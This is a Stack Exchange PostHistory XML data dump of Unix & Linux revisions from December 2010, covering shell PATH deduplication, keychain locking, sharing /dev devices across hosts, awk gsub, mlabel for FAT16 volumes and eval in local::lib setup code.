  <row Id="10958" PostHistoryTypeId="5" PostId="4971" RevisionGUID="1ca91487-0d4a-468c-ac4d-0c7a0e39914d" CreationDate="2010-12-18T14:40:51.200" UserId="2180" Comment="Add explanation" Text="You can ensure that keychain only opens on one tab like this:&#xD;&#xA;&#xD;&#xA;    if mkdir /tmp/keychain.lock; then&#xD;&#xA;      eval `keychain --eval --agents ssh id_dsa`&#xD;&#xA;      rm -r /tmp/keychain.lock&#xD;&#xA;    fi&#xD;&#xA;But it may not be on the first tab you land on.&#xD;&#xA;&#xD;&#xA;You can poll a file or use inotify-tools like this:&#xD;&#xA;&#xD;&#xA;    file=/tmp/keychain-wait&#xD;&#xA;    touch $file&#xD;&#xA;    inotifywait -e delete_self $file |\&#xD;&#xA;    while read file event; do &#xD;&#xA;     if [ &quot;$event&quot; = &quot;DELETE_SELF&quot; ]; then&#xD;&#xA;       pkill keychain&#xD;&#xA;       exit&#xD;&#xA;     fi&#xD;&#xA;    done &amp;&#xD;&#xA;&#xD;&#xA;    keychain&#xD;&#xA;    rm $file" />
  <row Id="10959" PostHistoryTypeId="5" PostId="4971" RevisionGUID="88808dac-321b-40b7-a35f-46e74961555b" CreationDate="2010-12-18T15:47:32.323" UserId="2180" Comment="deleted 13 characters in body" Text="You can ensure that keychain only opens on one tab like this:&#xD;&#xA;&#xD;&#xA;    if mkdir /tmp/keychain.lock; then&#xD;&#xA;      eval `keychain --eval --agents ssh id_dsa`&#xD;&#xA;      rm -r /tmp/keychain.lock&#xD;&#xA;    fi&#xD;&#xA;But it may not be on the first tab you land on.&#xD;&#xA;&#xD;&#xA;You can poll a file or use inotify-tools like this:&#xD;&#xA;&#xD;&#xA;    file=/tmp/keychain-wait&#xD;&#xA;    touch $file&#xD;&#xA;    inotifywait -e delete_self $file |\&#xD;&#xA;    while read file event; do &#xD;&#xA;     if [ &quot;$event&quot; = &quot;DELETE_SELF&quot; ]; then&#xD;&#xA;       pkill keychain&#xD;&#xA;     fi&#xD;&#xA;    done &amp;&#xD;&#xA;&#xD;&#xA;    keychain&#xD;&#xA;    rm $file" />
  <row Id="10960" PostHistoryTypeId="6" PostId="4960" RevisionGUID="9c01be40-2efd-4371-b220-2d2cadf88d54" CreationDate="2010-12-18T16:42:41.287" UserId="3069" Comment="edited tags" Text="élinuxàéshellàéterminalàéfontsà" />
  <row Id="10961" PostHistoryTypeId="6" PostId="4960" RevisionGUID="4c364c4b-02b9-453f-8b95-0c32acaddc34" CreationDate="2010-12-18T16:57:46.720" UserId="885" Comment="edited tags" Text="éterminalàéfontsàérxvtàétruetypeà" />
  <row Id="10962" PostHistoryTypeId="2" PostId="4974" RevisionGUID="08f1ac8b-8279-4a2a-81bb-77297719f7c8" CreationDate="2010-12-18T17:00:51.693" UserId="3201" Text="One thing you could do is use an environment variable as a guard.&#xD;&#xA;So set the env to `__&lt;your script&gt;__path_added`. &#xD;&#xA;&#xD;&#xA;In your script, you can then just test if that has been set before adding the path in. A bit like you would a C header guard." />
  <row Id="10963" PostHistoryTypeId="2" PostId="4975" RevisionGUID="8a7600f1-6029-481d-a419-607040fe023a" CreationDate="2010-12-18T17:56:48.687" UserId="1974" Text="Turns out the issue was VMware. No matter how hard I tried I couldn't make the camera work inside a virtual machine under VMware Server 2.0. Linux Mint was the only distro which even recognized it, and even then I kept getting errors that the camera could not be opened / IO errors.&#xD;&#xA;&#xD;&#xA;Installing `uvcvideo`, `cheese` and `motion` directly on the host worked fine." />
  <row Id="10964" PostHistoryTypeId="2" PostId="4976" RevisionGUID="3325f628-25f4-44ac-a193-046eeca14715" CreationDate="2010-12-18T18:00:01.773" UserId="1974" Text="Here's the situation. I have a video device `/dev/video0` on a VMware Server and I want to access this device from within a virtual machine. However for whatever reason I can't connect the device directly to the VM, it must be connected to the host.&#xD;&#xA;&#xD;&#xA;Since under unix philosophy everything really is just a file, can I share a device under `/dev` using NFS, Samba, sshfs or some other protocol between two hosts, so that a linux on one server can access devices on a different server?" />
  <row Id="10965" PostHistoryTypeId="1" PostId="4976" RevisionGUID="3325f628-25f4-44ac-a193-046eeca14715" CreationDate="2010-12-18T18:00:01.773" UserId="1974" Text="Can I share a device from under /dev across hosts?" />
  <row Id="10966" PostHistoryTypeId="3" PostId="4976" RevisionGUID="3325f628-25f4-44ac-a193-046eeca14715" CreationDate="2010-12-18T18:00:01.773" UserId="1974" Text="énfsàédevicesà" />
  <row Id="10967" PostHistoryTypeId="5" PostId="4965" RevisionGUID="ff1d7bf3-882e-4f80-93f4-3af086c6a9ba" CreationDate="2010-12-18T19:13:00.830" UserId="1207" Comment="deleted 1 characters in body" Text="I have the following code that's `source`-d by my `.shellrc`&#xD;&#xA;&#xD;&#xA;    PATH=&quot;${PATH}:${HOME}/perl5/bin&quot;&#xD;&#xA;    PATH=&quot;${PATH}:${HOME}/.bin&quot;&#xD;&#xA;    export PATH&#xD;&#xA;&#xD;&#xA;but if I make changes to other code and then `source` this file, my path continues to get longer and longer with each source, each time appending these when they're already there. What can I do to prevent this?" />
  <row Id="10968" PostHistoryTypeId="5" PostId="3794" RevisionGUID="e404a27f-bfd5-4fc1-99ae-094989b49ff8" CreationDate="2010-12-18T19:52:24.653" UserId="2362" Comment="attacking gsub, global substitution apparently; added 54 characters in body; added 149 characters in body" Text="    $ awk 'length &gt; 72' {HOW TO PRINT THE LINEs IN PCS?} msg&#xD;&#xA;&#xD;&#xA;ie I want it to add `\n` after 72 chars and continue, so initially you may need to remove all single `\n`s and the add them. It may be easier be easier with other tool but let's give a try to awk.&#xD;&#xA;&#xD;&#xA;**[Update]** &#xD;&#xA;&#xD;&#xA;Williamson provided the right answer but some help needed to read it. I break the problem to parts with simpler examples, below. &#xD;&#xA;&#xD;&#xA;  1. Why does it print `\t` in both cases, gsub should substitute things?&#xD;&#xA;&#xD;&#xA;    $ gawk '{ hallo=&quot;tjena\t tjena2&quot;; gsub(&quot;\t&quot;,&quot; &quot;); }; END {print hallo; gsub(&quot;\t&quot;, &quot;&quot;); hallo=hallo gsub(&quot;\t&quot;,&quot;&quot;); print hallo }' x&#xD;&#xA;&#xD;&#xA;  2. Attacking line `line = $0 \n more = getline \n gsub(&quot;\t&quot;,&quot; &quot;)`, line apparently gets whole stdout while more gets popped value of $0, right?" />
  <row Id="10969" PostHistoryTypeId="2" PostId="4977" RevisionGUID="7a4dfe3c-faa4-4cac-bd8d-f7ee7b5323cc" CreationDate="2010-12-18T19:53:41.253" UserId="885" Text="No.&#xD;&#xA;&#xD;&#xA;You can export a device file through NFS or some other network filesystems. But the meaning of the device file is dependent on the machine where you open it. If you export `/dev/video0` over NFS from a server machine to a client machine, the client machine just sees “character device 81:0”, and interprets it as its own video capture device. The client machine doesn't even need to have the same device number assignment as the server; for example an OpenBSD client would see the same file as the [pseudo-terminal driver](http://www.openbsd.org/cgi-bin/man.cgi?query=ptm&amp;sektion=4), because that's what char 81:0 is under OpenBSD.&#xD;&#xA;&#xD;&#xA;What you're asking for would be very nice, but also very hard. Every request on the client would have to be forwarded to the server and vice versa. There would have to be specific support in individual drivers. For example some drivers rely on shared memory between the process and the kernel, and supporting transparently across the network would be hard and prohibitively expensive in many cases. I don't know if the video capture driver does use shared memory, but given that it's likely to transfer large amounts of data asynchronously, I expect it to.&#xD;&#xA;&#xD;&#xA;Linux has some specific support for [network block devices](http://en.wikipedia.org/wiki/Network_block_device). They do not rely on a network filesystem; the device file exists only on the client, and a daemon on the server emulates a physical block device (it might relay the operations to and from a real physical device, but often it reads and writes to an image file).&#xD;&#xA;&#xD;&#xA;You should look for a solution that's specific to video capture. Try to run as much of the data-intensive part on the machine to which the physical device is attached. Or find a virtual machine solution that supports direct access to the physical device from inside the virtual machine (I don't know if any host/guest solution does; hypervisor-based solutions are more likely to).&#xD;&#xA;" />
  <row Id="10970" PostHistoryTypeId="5" PostId="3794" RevisionGUID="814d13e3-ce2c-43e0-96f6-b6d7766c73da" CreationDate="2010-12-18T19:58:23.950" UserId="2362" Comment="added 89 characters in body; added 2 characters in body; added 2 characters in body; added 6 characters in body; added 12 characters in body; added 12 characters in body" Text="    $ awk 'length &gt; 72' {HOW TO PRINT THE LINEs IN PCS?} msg&#xD;&#xA;&#xD;&#xA;ie I want it to add `\n` after 72 chars and continue, so initially you may need to remove all single `\n`s and the add them. It may be easier be easier with other tool but let's give a try to awk.&#xD;&#xA;&#xD;&#xA;**[Update]** &#xD;&#xA;&#xD;&#xA;*Williamson provided the right answer but some help needed to read it. I break the problem into parts with simpler examples, below.* &#xD;&#xA;&#xD;&#xA;  1. Why does the code below print `\t` in both cases, gsub should substitute things? x is a dummy-file, some odd 0 at the end.&#xD;&#xA;&#xD;&#xA;  2. Attacking line `line = $0 \n more = getline \n gsub(&quot;\t&quot;,&quot; &quot;)`, line apparently gets whole stdout while more gets popped value of $0, right?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Code to part 1**&#xD;&#xA;&#xD;&#xA;    $ gawk '{ hallo=&quot;tjena\t tjena2&quot;; gsub(&quot;\t&quot;,&quot; &quot;); }; END {print hallo; gsub(&quot;\t&quot;, &quot;&quot;); hallo=hallo gsub(&quot;\t&quot;,&quot;&quot;); print hallo }' x&#xD;&#xA;    tjena  tjena2&#xD;&#xA;    tjena  tjena20&#xD;&#xA;" />
  <row Id="10971" PostHistoryTypeId="5" PostId="3794" RevisionGUID="c11ae6e3-d7e9-4621-8adb-61c067782245" CreationDate="2010-12-18T20:03:34.460" UserId="2362" Comment="added 6 characters in body; added 2 characters in body; added 26 characters in body; added 112 characters in body" Text="    $ awk 'length &gt; 72' {HOW TO PRINT THE LINEs IN PCS?} msg&#xD;&#xA;&#xD;&#xA;ie I want it to add `\n` after 72 chars and continue, so initially you may need to remove all single `\n`s and the add them. It may be easier be easier with other tool but let's give a try to awk.&#xD;&#xA;&#xD;&#xA;**[Update]** &#xD;&#xA;&#xD;&#xA;*Williamson provided the right answer but some help needed to read it. I break the problem into parts with simpler examples, below.* &#xD;&#xA;&#xD;&#xA;  1. Why does the code below print `\t` in both cases, `gsub` should substitute things? x is a dummy-file, some odd 0 at the end.&#xD;&#xA;&#xD;&#xA;  2. Attacking the line `line = $0 \n more = getline \n gsub(&quot;\t&quot;,&quot; &quot;)` in [Williamson's reply][1], `line` apparently gets whole stdout while `more` gets popped value of `$0`, right?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Code to part 1**&#xD;&#xA;&#xD;&#xA;    $ gawk '{ hallo=&quot;tjena\t tjena2&quot;; gsub(&quot;\t&quot;,&quot; &quot;); }; END {print hallo; gsub(&quot;\t&quot;, &quot;&quot;); hallo=hallo gsub(&quot;\t&quot;,&quot;&quot;); print hallo }' x&#xD;&#xA;    tjena  tjena2&#xD;&#xA;    tjena  tjena20&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3794/awk-keep-lines-of-at-most-72-chars-length/3802#3802" />
  <row Id="10972" PostHistoryTypeId="2" PostId="4978" RevisionGUID="5e22fe78-d0a1-4660-986c-5a14d74dc1b0" CreationDate="2010-12-18T20:06:00.153" UserId="305" Text="In addition to Gilles answer - as long as you do not intend to do ioctls on file it is simply a stream. So if you ran from guest&#xD;&#xA;&#xD;&#xA;    # mkfifo /dev/fakevideo0&#xD;&#xA;    # ssh host cat /dev/video0 &gt; /dev/fakevideo0&#xD;&#xA;&#xD;&#xA;/dev/fakevideo0 will behave as a buffor so if you read from it you will get stream from camera. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="10973" PostHistoryTypeId="2" PostId="4979" RevisionGUID="cda8b8e9-5ff1-41dc-b168-dbe20a2d0114" CreationDate="2010-12-18T20:46:03.263" UserId="479" Text="I use these functions that are sourced from an initialization script by fink on os x (so credit goes to the fink developers).  They work great and I can re-source my .bash_profile whenever I want.  Don't ask me how they work... I just know they do :)&#xD;&#xA;&#xD;&#xA;    # define append_path and prepend_path to add directory paths, e.g. PATH, MANPATH (they'll work with any variable formatted like `$PATH`.&#xD;&#xA;    # add to end of path&#xD;&#xA;    append_path()&#xD;&#xA;    {&#xD;&#xA;      if ! eval test -z &quot;\&quot;\${$1##*:$2:*}\&quot;&quot; -o -z &quot;\&quot;\${$1%%*:$2}\&quot;&quot; -o -z &quot;\&quot;\${$1##$2:*}\&quot;&quot; -o -z &quot;\&quot;\${$1##$2}\&quot;&quot; ; then&#xD;&#xA;        eval &quot;$1=\$$1:$2&quot;&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # add to front of path&#xD;&#xA;    prepend_path()&#xD;&#xA;    {&#xD;&#xA;      if ! eval test -z &quot;\&quot;\${$1##*:$2:*}\&quot;&quot; -o -z &quot;\&quot;\${$1%%*:$2}\&quot;&quot; -o -z &quot;\&quot;\${$1##$2:*}\&quot;&quot; -o -z &quot;\&quot;\${$1##$2}\&quot;&quot; ; then&#xD;&#xA;        eval &quot;$1=$2:\$$1&quot;&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I can use them like so to append or prepend to `$PATH` or `$MANPATH`:&#xD;&#xA;&#xD;&#xA;    prepend_path PATH $macPortsDir/sbin&#xD;&#xA;    prepend_path MANPATH $macPortsDir/man&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10974" PostHistoryTypeId="5" PostId="4979" RevisionGUID="1cf3cc25-3bbe-4940-bf7b-13b3300ee71c" CreationDate="2010-12-18T20:51:11.870" UserId="479" Comment="added 1 characters in body" Text="I use these functions that are sourced from an initialization script by fink on os x (so credit goes to the fink developers).  They work great and I can re-source my .bash_profile whenever I want.  Don't ask me how they work... I just know they do :)&#xD;&#xA;&#xD;&#xA;    # define append_path and prepend_path to add directory paths, e.g. PATH, MANPATH&#xD;&#xA;    # add to end of path&#xD;&#xA;    append_path()&#xD;&#xA;    {&#xD;&#xA;      if ! eval test -z &quot;\&quot;\${$1##*:$2:*}\&quot;&quot; -o -z &quot;\&quot;\${$1%%*:$2}\&quot;&quot; -o -z &quot;\&quot;\${$1##$2:*}\&quot;&quot; -o -z &quot;\&quot;\${$1##$2}\&quot;&quot; ; then&#xD;&#xA;        eval &quot;$1=\$$1:$2&quot;&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # add to front of path&#xD;&#xA;    prepend_path()&#xD;&#xA;    {&#xD;&#xA;      if ! eval test -z &quot;\&quot;\${$1##*:$2:*}\&quot;&quot; -o -z &quot;\&quot;\${$1%%*:$2}\&quot;&quot; -o -z &quot;\&quot;\${$1##$2:*}\&quot;&quot; -o -z &quot;\&quot;\${$1##$2}\&quot;&quot; ; then&#xD;&#xA;        eval &quot;$1=$2:\$$1&quot;&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I can use them like so to append or prepend to `$PATH` or `$MANPATH`  (they'll work with any variable formatted like `$PATH`):&#xD;&#xA;&#xD;&#xA;    prepend_path PATH $macPortsDir/sbin&#xD;&#xA;    prepend_path MANPATH $macPortsDir/man&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10975" PostHistoryTypeId="2" PostId="4980" RevisionGUID="70b217dc-ec5f-4a02-aa0b-580e17ed92b8" CreationDate="2010-12-18T21:35:30.607" UserId="1535" Text="What's the easiest way to rename (change the volume label of) a fat16 volume (e.g. on a USB drive) from linux?  It seems like `mlabel` from the `mtools` package is meant to do this, but the documentation is not geared to rapid assimilation." />
  <row Id="10976" PostHistoryTypeId="1" PostId="4980" RevisionGUID="70b217dc-ec5f-4a02-aa0b-580e17ed92b8" CreationDate="2010-12-18T21:35:30.607" UserId="1535" Text="renaming a fat16 volume" />
  <row Id="10977" PostHistoryTypeId="3" PostId="4980" RevisionGUID="70b217dc-ec5f-4a02-aa0b-580e17ed92b8" CreationDate="2010-12-18T21:35:30.607" UserId="1535" Text="éwindowsàépartitionàéfatà" />
  <row Id="10978" PostHistoryTypeId="2" PostId="4981" RevisionGUID="20d9f352-1f3d-47f3-9168-7e06fc29be73" CreationDate="2010-12-18T21:49:42.740" UserId="3205" Text="Try `sudo mlabel -i &lt;device&gt; ::&lt;label&gt;`, for example `sudo mlabel -i /dev/sdb1 ::new_label`.&#xD;&#xA;&#xD;&#xA;(I meant to link to [1], but am having difficulties with embedded spaces -- any ideas?)&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/RenameUSBDrive#FAT16 and FAT32" />
  <row Id="10979" PostHistoryTypeId="2" PostId="4982" RevisionGUID="6bce4641-8cbb-4531-84f3-f82f38dc5294" CreationDate="2010-12-18T21:57:40.173" UserId="3158" Text="I understand that qemu uses binary translation to emulate machines, so irrespective of the underlying architecture, it can provide emulation.  &#xD;&#xA;And, KVM uses Hardware Virtualization technique to make this process faster. Thus, KVM requires VT support from underlying architectures (which x86 processor provides).   &#xD;&#xA; &#xD;&#xA;I have emulated powerpc architecture with qemu over x86 architecture. My question is whether it is possible to run KVM over this powerpc architecture. Any explanation in the answers would be quite helpful.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="10980" PostHistoryTypeId="1" PostId="4982" RevisionGUID="6bce4641-8cbb-4531-84f3-f82f38dc5294" CreationDate="2010-12-18T21:57:40.173" UserId="3158" Text="Is it possible to run KVM over a qemu emulated powerpc architecture" />
  <row Id="10981" PostHistoryTypeId="3" PostId="4982" RevisionGUID="6bce4641-8cbb-4531-84f3-f82f38dc5294" CreationDate="2010-12-18T21:57:40.173" UserId="3158" Text="ékvmàépowerpcà" />
  <row Id="10982" PostHistoryTypeId="2" PostId="4983" RevisionGUID="f3475b1e-e697-4c37-b4ab-0cf5cabe285d" CreationDate="2010-12-18T21:59:00.350" UserId="2362" Text="&gt; Are they any good?&#xD;&#xA;&#xD;&#xA;*My answer is about Nokias and Androids. I recommend you to wait with them.*&#xD;&#xA;&#xD;&#xA;**Poor Keyboards with Nokias but not with Androids, at least G1. Poor usability in  both camps however will hinder your productivity**&#xD;&#xA;&#xD;&#xA;The family, N8XX and N9XX, has very poor keyboard designs -- darn hard to get even tilde and programming quotes -- that kills your productivity like hXll. Android phones in conrast, such as G1, have much better keyboards but otherwise not as open as Nokia family, opennes here is a very subjective term -- however hard they market their phones with &quot;open source&quot;, they are not. Heard Nokia N900 is more open than N8XX but if I have understood right it still have some code like related to transmitter/antenna closed, check the current state from Freenode's Maemo channel, this can change like a windmill. As for Androids, I tried everything like Cyanogenmod, Dev phones but just busy-box-cli-abstraction and multi-tasking commandline not possible (not in Androids and not in Nokias) -- again a blow to productivity. &#xD;&#xA;&#xD;&#xA;**Some infant problems with current &quot;linux&quot; phones**&#xD;&#xA;&#xD;&#xA; 1. native multi-tasking CLI (no abstraction pling-pling like busy-box), not the same as Nokias &quot;GUI multitasking&quot;-marketing-pling-pling&#xD;&#xA; 2. missing/implemented-poorly programs such as GNU Screen, Mutt, Vi, irssi and such basics (bad for productivity)&#xD;&#xA; 3. poor QWERTY keyboard with hard-to-use programmer-keys, please, no more display clicking like with Nokias&#xD;&#xA; 4. no native Debian or similar OS running, you need to box it at least with N900&#xD;&#xA;&#xD;&#xA;Cannot recommend any of the infant products, they are disgraceful in their usability and debatable openness. You may like some of their features like SSH but you will encounter productivity problems. I got rid of my Nokias, Androids, Cyanogen-mod-messes -- will go back if I can find a phone with fixed above problems. " />
  <row Id="10983" PostHistoryTypeId="5" PostId="4983" RevisionGUID="397cc4ee-c610-46f5-b547-553efc0a2033" CreationDate="2010-12-18T22:08:38.037" UserId="2362" Comment="added 86 characters in body; added 55 characters in body; added 55 characters in body" Text="&gt; Are they any good?&#xD;&#xA;&#xD;&#xA;*My answer is about Nokias and Androids. I recommend you to wait with them.*&#xD;&#xA;&#xD;&#xA;**Poor Keyboards with Nokias but not with Androids, at least G1. Poor usability in  both camps however will hinder your productivity**&#xD;&#xA;&#xD;&#xA;The family, N8XX and N9XX, has very poor keyboard designs -- darn hard to get even tilde and programming quotes -- that kills your productivity like hXll. Android phones in conrast, such as G1, have much better keyboards but otherwise not as open as Nokia family, opennes here is a very subjective term -- however hard they market their phones with &quot;open source&quot;, they are not. Heard Nokia N900 is more open than N8XX but if I have understood right it still have some code like related to transmitter/antenna closed, check the current state from Freenode's Maemo channel, this can change like a windmill. As for Androids, I tried everything like Cyanogenmod, Dev phones but just busy-box-cli-abstraction and multi-tasking commandline not possible (not in Androids and not in Nokias) -- again a blow to productivity. &#xD;&#xA;&#xD;&#xA;**Some infant problems with current &quot;linux&quot; phones**&#xD;&#xA;&#xD;&#xA; 1. native multi-tasking CLI (no abstraction pling-pling like busy-box), not the same as Nokias &quot;GUI multitasking&quot;-marketing-pling-pling&#xD;&#xA; 2. missing/implemented-poorly programs such as GNU Screen, Mutt, Vi, irssi and such basics (bad for productivity)&#xD;&#xA; 3. poor QWERTY keyboard with hard-to-use programmer-keys, please, no more display clicking like with Nokias&#xD;&#xA; 4. no native Debian or similar OS running, you need to box it at least with N900&#xD;&#xA;&#xD;&#xA;Cannot recommend any of the infant products, they are disgraceful in their usability and debatable openness. You may like some of their features like SSH but you will encounter productivity problems. I got rid of my Nokias, Androids, Cyanogen-mod-messes -- will go back if I can find a phone with fixed above problems. &#xD;&#xA;&#xD;&#xA;Please, let me know if you know any phone that address the problems -- and seriously why the title is about &quot;linux&quot;, I want BSD phone, any idea whether any OBSD phone planned or in production?" />
  <row Id="10984" PostHistoryTypeId="2" PostId="4984" RevisionGUID="312ffb23-a6d3-4cbe-9e49-4195c84f4de9" CreationDate="2010-12-18T22:13:39.830" UserId="29" Text="using [local::lib](http://search.cpan.org/dist/local-lib/lib/local/lib.pm) requires you to add a line to your `~/.shellrc`&#xD;&#xA;&#xD;&#xA;    eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)&#xD;&#xA;&#xD;&#xA;I don't understand what the point of using `eval`, and encasing the statement in `$()` is. I also notices that `csh` doesn't require you to use those. So I'm wondering what the difference is, and whether or not I should use this for generic bourne shell, or `zsh`." />
  <row Id="10985" PostHistoryTypeId="1" PostId="4984" RevisionGUID="312ffb23-a6d3-4cbe-9e49-4195c84f4de9" CreationDate="2010-12-18T22:13:39.830" UserId="29" Text="Why does the local::lib shell code use eval and $()" />
  <row Id="10986" PostHistoryTypeId="3" PostId="4984" RevisionGUID="312ffb23-a6d3-4cbe-9e49-4195c84f4de9" CreationDate="2010-12-18T22:13:39.830" UserId="29" Text="éshellàéshellöscriptàéposixà" />
  <row Id="10987" PostHistoryTypeId="5" PostId="4983" RevisionGUID="63c62c20-5220-4ab9-a50e-14d76ca7413f" CreationDate="2010-12-18T22:20:27.627" UserId="2362" Comment="added 147 characters in body; deleted 8 characters in body; added 31 characters in body" Text="&gt; Are they any good?&#xD;&#xA;&#xD;&#xA;*My answer is about Nokias and Androids. I recommend you to wait with them until the problems fixed below.*&#xD;&#xA;&#xD;&#xA;**Poor Keyboards with Nokias but not with Androids, at least G1. Poor usability in  both camps however will hinder your productivity**&#xD;&#xA;&#xD;&#xA;The family, N8XX and N9XX, has very poor keyboard designs -- darn hard to get even tilde and programming quotes -- that kills your productivity like hXll. Android phones in conrast, such as G1, have much better keyboards but otherwise not as open as Nokia family, opennes here is a very subjective term -- however hard they market their phones with &quot;open source&quot;, they are not. Heard Nokia N900 is more open than N8XX but if I have understood right it still have some code like related to transmitter/antenna closed, check the current state from Freenode's Maemo channel, this can change like a windmill. As for Androids, I tried everything like Cyanogenmod, Dev phones but just busy-box-cli-abstraction and multi-tasking commandline not possible (not in Androids and not in Nokias) -- again a blow to productivity. &#xD;&#xA;&#xD;&#xA;**Some infant problems with current &quot;linux&quot; phones**&#xD;&#xA;&#xD;&#xA; 1. native multi-tasking CLI (no abstraction pling-pling like busy-box), not the same as Nokias &quot;GUI multitasking&quot;-marketing-pling-pling&#xD;&#xA; 2. missing/implemented-poorly programs such as GNU Screen, Mutt, Vi, irssi and such basics (bad for productivity)&#xD;&#xA; 3. poor QWERTY keyboard with hard-to-use programmer-keys, please, no more display clicking like with Nokias&#xD;&#xA; 4. no native Debian or similar OS running, you need to box it at least with N900&#xD;&#xA; 5. not open and obfuscated code, like with Cyanogenmod's Nvidia driver (not verified just rumour in Freenode's #cyanogenmod, speculation)&#xD;&#xA;&#xD;&#xA;Cannot recommend any of the infant products, they are disgraceful in their usability and debatable openness. You may like some of their features like SSH but you will encounter productivity problems. I got rid of my Nokias, Androids, Cyanogen-mod-messes -- will go back if I can find a phone with fixed above problems.&#xD;&#xA;&#xD;&#xA;Please, let me know if you know any phone that address the problems -- and seriously why the title is about &quot;linux&quot;, I want BSD phone, any idea whether any OBSD phone planned or in production?" />
  <row Id="10988" PostHistoryTypeId="5" PostId="4981" RevisionGUID="f93fa8f5-b7f9-4678-91f8-e3f185c66bf1" CreationDate="2010-12-18T22:34:50.193" UserId="885" Comment="fixed hyperlink" Text="Try `sudo mlabel -i &lt;device&gt; ::&lt;label&gt;`, for example `sudo mlabel -i /dev/sdb1 ::new_label`.&#xD;&#xA;&#xD;&#xA;Reference: [RenameUSBDrive on the Ubuntu community documentation][1].&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/RenameUSBDrive#FAT16%20and%20FAT32" />
  <row Id="10989" PostHistoryTypeId="2" PostId="4985" RevisionGUID="ff8435df-d517-4b5f-b7a8-a731f652a463" CreationDate="2010-12-18T22:38:07.983" UserId="3206" Text="This is one of the functions provided by &quot;fslint&quot; -- &#xD;&#xA;http://en.flossmanuals.net/FSlint/Introduction" />
  <row Id="10990" PostHistoryTypeId="5" PostId="4973" RevisionGUID="a29ec03d-78e7-4b98-9859-a3fcc3234c1c" CreationDate="2010-12-18T22:50:59.187" UserId="885" Comment="made a function; show how to chase symbolic links; show how to skip nonexistent directories; added 231 characters in body" Text="    add_to_PATH () {&#xD;&#xA;      for d; do&#xD;&#xA;        d=$(cd -- &quot;$d&quot; &amp;&amp; { pwd -P || pwd; }) 2&gt;/dev/null  # canonicalize symbolic links&#xD;&#xA;        if [ -z &quot;$d&quot; ]; then continue; fi  # skip nonexistent directory&#xD;&#xA;        case &quot;:$PATH:&quot; in&#xD;&#xA;          *&quot;:$d:&quot;*) :;;&#xD;&#xA;          *) PATH=$PATH:$d;;&#xD;&#xA;        esac&#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;    add_to_PATH ~/perl5/bin ~/.bin&#xD;&#xA;&#xD;&#xA;The line for symbolic link canonicalization is optional. If you remove it, also remove the next line (if you want to keep nonexistent directories), or change it to&#xD;&#xA;&#xD;&#xA;    if ! [ -d &quot;$d&quot; ]; then continue; fi&#xD;&#xA;&#xD;&#xA;Note that the symlink canonicalization method only guarantees unicity amongst directories that were added by this function. It also doesn't handle edge cases like an NFS directory mounted on two locations or a Linux bind mount.&#xD;&#xA;" />
  <row Id="10991" PostHistoryTypeId="2" PostId="4986" RevisionGUID="94388528-6c23-4344-8a01-8ddbe6282156" CreationDate="2010-12-18T22:55:47.220" UserId="3207" Text="I use Ex Falso.  It was installed with QuodLibet music player, so I gave it a shot.&#xD;&#xA;&#xD;&#xA;I've used it with single files, batches of files... It's pretty intuitive, and best of all, works very well." />
  <row Id="10992" PostHistoryTypeId="2" PostId="4987" RevisionGUID="d88b6a15-e8d7-40d3-8674-5c7215b79605" CreationDate="2010-12-18T23:16:50.063" UserId="885" Text="`perl -I$HOME/perl5/lib/perl5 -Mlocal::lib` prints out some shell code. The point of `eval $(…)` is to execute that code in the context of the current shell. This is typically used to set environment variables. You can't use a subprocess for this as this would only affect the subprocess's environment. You can source a snippet:&#xD;&#xA;&#xD;&#xA;    . /path/to/snippet-containing-variable-definitions&#xD;&#xA;&#xD;&#xA;but that only works if the code that generates the variable values is written in shell. Here that code is written in Perl, so the Perl code generates shell code.&#xD;&#xA;&#xD;&#xA;[dircolors](http://www.gnu.org/software/coreutils/manual/html_node/dircolors-invocation.html) uses the same technique, as do many other programs.&#xD;&#xA;&#xD;&#xA;The shell snippets are generally kept very simple, just variable assignments (with plain strings for values) and `export` statements, so they are compatible with all Bourne-style shells (including any POSIX shell) and zsh. `local::lib` is gratuitously incompatible with some decade-old systems as it combines `export` with assignment (which is permitted by POSIX but not by the original Bourne shell). Csh requires a different syntax; local::lib emits csh syntax if `$SHELL` contains `csh` as a substring. Under Windows, local::lib generates the equivalent cmd syntax; because cmd has no equivalent .&#xD;&#xA;" />
  <row Id="10993" PostHistoryTypeId="2" PostId="4988" RevisionGUID="8442c6be-65dc-4025-b3af-fe2269d33365" CreationDate="2010-12-18T23:26:43.880" UserId="29" Text="I'm trying to write all of my `sh` startup/env scripts to work with as much *DRY* and as much: &quot;works on every *nix I clone it to&quot;, as possible. This means making sure that if I try to run code that's not there, that the code fails gracefully. To that end I need to be able to test if programs exist. I know how to test if a file exists, but I'm not sure how to test to see if an application is executable within the path. I'd rather use the path, as some of these need to work on arch, ubuntu, and centos." />
  <row Id="10994" PostHistoryTypeId="1" PostId="4988" RevisionGUID="8442c6be-65dc-4025-b3af-fe2269d33365" CreationDate="2010-12-18T23:26:43.880" UserId="29" Text="How do I test to see if a application exists in path" />
  <row Id="10995" PostHistoryTypeId="3" PostId="4988" RevisionGUID="8442c6be-65dc-4025-b3af-fe2269d33365" CreationDate="2010-12-18T23:26:43.880" UserId="29" Text="éshellàéshellöscriptàéposixà" />
